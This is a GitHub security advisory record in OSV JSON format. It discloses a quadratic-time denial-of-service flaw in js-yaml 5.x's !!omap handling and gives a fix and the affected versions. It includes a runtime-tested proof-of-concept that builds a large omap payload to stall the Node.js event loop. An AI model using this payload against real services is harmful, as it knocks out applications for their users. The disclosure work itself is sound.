{"id":"GHSA-724g-mxrg-4qvm","summary":"js-yaml: Quadratic-complexity (O(n^2)) DoS via !!omap tag in YAML11_SCHEMA","details":"### Summary\n`js-yaml` v5.x introduces `YAML11_SCHEMA` support with the `!!omap` (ordered map) tag. The `omapTag.addItem()` function performs a linear O(n) scan for duplicate key detection on every insertion, resulting in O(n^2) total time to parse a document with n omap entries. An attacker can send a small crafted YAML document to trigger a multi-second CPU stall in any application that uses `yaml.load()` with `{ schema: yaml.YAML11_SCHEMA }`.\n\n### Details\nIn `src/tag/sequence/omap.ts` (compiled: `dist/js-yaml.cjs.js:510-525`):\n```js\nvar omapTag = defineSequenceTag('tag:yaml.org,2002:omap', {\n    create: () =\u003e [],\n    addItem: (container, item) =\u003e {\n        // ...\n        for (const existing of container)   // O(n) per insertion!\n            if (hasOwnProperty(existing, itemKeys[0]))\n                return 'cannot resolve an ordered map item';\n        container.push(object);             // n insertions → O(n^2) total\n        return '';\n    }\n});\n```\nFor a document with `n` unique entries, insertion i scans i−1 existing entries, yielding 1+2+…+n = **O(n²)** total work.\n\n### PoC (runtime-confirmed on v5.2.0)\n```js\nconst yaml = require('js-yaml');\nfunction buildOmapPayload(n) {\n  let p = '!!omap\\n';\n  for (let i = 0; i \u003c n; i++) p += '- key' + i + ': val' + i + '\\n';\n  return p;\n}\n// Timing results on v5.2.0:\n// n=1000:  9ms\n// n=5000:  73ms  (5x n → 8x time)\n// n=10000: 255ms (2x n → 3.5x time — supralinear)\n// n=20000: 997ms (2x n → 3.9x time — O(n²) confirmed)\n// n=50000: 10613ms          ← blocks event loop for \u003e10 seconds\nyaml.load(buildOmapPayload(50000), { schema: yaml.YAML11_SCHEMA });\n```\n\n### Impact\nAny application that parses untrusted YAML using `yaml.load(input, { schema: yaml.YAML11_SCHEMA })` is vulnerable to Denial of Service. A ~2 MB payload of 50,000 entries blocks the Node.js event loop for 10+ seconds. Smaller payloads (5,000 entries, ~100 KB) already cause noticeable slowdowns (73 ms per parse, amplified under concurrent load).\n\nThis affects the newly released 5.x series (first published 2026-06-20) which adds YAML 1.1/1.2 schema support including `!!omap`. The 4.x series is unaffected (no `YAML11_SCHEMA` export).\n\n### Fix\nReplace the O(n) linear scan in `addItem` with an O(1) `Set`-based lookup:\n```js\nvar omapTag = defineSequenceTag('tag:yaml.org,2002:omap', {\n    create: () =\u003e ({ list: [], seen: new Set() }),\n    addItem: (state, item) =\u003e {\n        const key = Object.keys(item)[0];\n        if (state.seen.has(key)) return 'duplicate omap key';\n        state.seen.add(key);\n        state.list.push(item);\n        return '';\n    },\n    resolve: (state) =\u003e state.list\n});\n```","aliases":["CVE-2026-59870"],"modified":"2026-07-20T21:30:34.962661082Z","published":"2026-07-20T21:18:51Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-07-20T21:18:51Z","nvd_published_at":"2026-07-08T16:16:33Z","cwe_ids":["CWE-407","CWE-770"],"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/nodeca/js-yaml/security/advisories/GHSA-724g-mxrg-4qvm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59870"},{"type":"WEB","url":"https://github.com/nodeca/js-yaml/commit/39f3211a2f01b3c6982710cf21434ab7060acefe"},{"type":"PACKAGE","url":"https://github.com/nodeca/js-yaml"},{"type":"WEB","url":"https://github.com/nodeca/js-yaml/releases/tag/5.2.1"}],"affected":[{"package":{"name":"js-yaml","ecosystem":"npm","purl":"pkg:npm/js-yaml"},"ranges":[{"type":"SEMVER","events":[{"introduced":"5.0.0"},{"fixed":"5.2.1"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 5.2.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-724g-mxrg-4qvm/GHSA-724g-mxrg-4qvm.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}]}